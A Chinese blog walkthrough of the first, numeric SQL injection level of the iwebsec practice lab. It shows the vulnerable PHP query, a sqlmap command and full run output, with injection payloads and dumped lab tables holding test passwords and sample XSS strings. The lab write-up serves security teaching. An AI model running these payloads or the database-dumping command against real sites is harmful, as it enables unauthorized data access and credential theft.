iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入

本文详细介绍了iwebsec靶场第一关的数字型SQL注入过程,包括源码分析、利用sqlmap渗透技巧,以及SQL注入的三个关键点:注入类型、无过滤条件和利用union查询。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记12-等价函数替换绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记13-二次注入_iwebsec二次注入-CSDN博客

目录

漏洞原理

第01关 数字型注入

1.源码分析

2. sqlmap渗透

总结


漏洞原理

iwebsec靶场的SQL注入关卡共13关SQL注入漏洞,覆盖了数字型注入、字符型注入、报错型盲注、布尔型盲注、时间型盲注以及各种过滤绕过的注入,外加上二次注入,是SQL注入知识点覆盖较为全面的一个靶场。

        SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作。

        数字型注入是利用Web应用未对数字输入进行严格过滤,导致攻击者通过构造恶意数字参数破坏SQL查询逻辑的安全漏洞。其核心原理是:当程序直接将用户输入的数字拼接进SQL语句且未验证类型时,攻击者可注入SQL代码(如1 OR 1=1),绕过身份验证或获取敏感数据。

第01关 数字型注入

打开靶场,url为 http://192.168.71.151/sqli/01.php?id=1 如下所示

1.源码分析

如下所示,对传入的参数id并未进行过滤。

sql语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

故而存在数字型注入

2. sqlmap渗透

基于iwebsec靶场的SQL注入笔记主要以sqlmap工具自动化渗透为主,故而渗透时使用sqlmap工具,命令如下

sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch

 如下所示注入成功,发现union query查询的数字型注入

 完整交互如下

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:20:12 /2022-11-24/

[21:20:13] [INFO] testing connection to the target URL
[21:20:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:20:13] [INFO] testing if the target URL content is stable
[21:20:13] [INFO] target URL content is stable
[21:20:13] [INFO] testing if GET parameter 'id' is dynamic
[21:20:13] [WARNING] GET parameter 'id' does not appear to be dynamic
[21:20:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:20:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:20:13] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:20:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:20:13] [WARNING] reflective value(s) found and filtering out
[21:20:14] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:20:14] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[21:20:14] [INFO] testing 'Generic inline queries'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:20:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                                     
[21:20:14] [INFO] testing 'MySQL inline queries'                                                                                                                                                                                           
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'                                                                                                                                                                      
[21:20:14] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                                                                                          
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries'                                                                                                                                                                                
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'                                                                                                                                                        
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'                                                                                                                                                                  
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'                                                                                                                                                         
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:20:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:20:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:20:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:20:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:20:24] [INFO] target URL appears to have 3 columns in query
[21:20:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[21:20:24] [INFO] fetching current database
current database: 'iwebsec'
[21:20:24] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:20:24] [INFO] fetching current database
[21:20:24] [INFO] fetching tables for database: 'iwebsec'
[21:20:24] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[21:20:24] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[21:20:24] [INFO] fetching columns for table 'users' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[21:20:24] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[21:20:24] [INFO] fetching columns for table 'user' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[21:20:24] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[21:20:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[21:20:24] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[21:20:24] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[21:20:24] [WARNING] your sqlmap version is outdated

[*] ending @ 21:20:24 /2022-11-24/

实际上在进行注入时,选择的命令是--current-db --dump这样就可以将当前数据库的内容全部打印出来,相对而言更加快捷。


总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第一关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

(3)是否过滤了关键字?很明显通过源码,iwebsec的数字型关卡无过滤任何信息

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值